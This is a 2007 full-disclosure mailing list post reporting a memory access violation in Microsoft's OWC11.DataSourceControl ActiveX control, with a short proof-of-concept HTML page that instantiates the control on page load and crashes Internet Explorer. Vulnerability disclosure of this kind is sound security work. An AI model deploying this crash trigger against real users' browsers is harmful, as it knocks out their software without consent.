full-disclosure - Office Web Controls DataSourceControl Memory Access Violation

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Date: Sun, 11 Nov 2007 01:01:04 -0500 (GMT-05:00)
From: Elazar Broad <elazarb@...thlink.net>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: Office Web Controls DataSourceControl Memory
	Access Violation

There is an un-handled memory access violation in the OWC11.DataSourceControl. As far as I know, I don't think it is possible to execute code via this, the worst it can do is crash Internet Explorer. PoC as follows:

------------------
<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
      var obj = new ActiveXObject("OWC11.DataSourceControl"); 

      obj.XMLDataTarget = "A";

 }
  </script>

 </head>  
 <body onload="JavaScript: return Check();" />
</html>
------------------

Elazar

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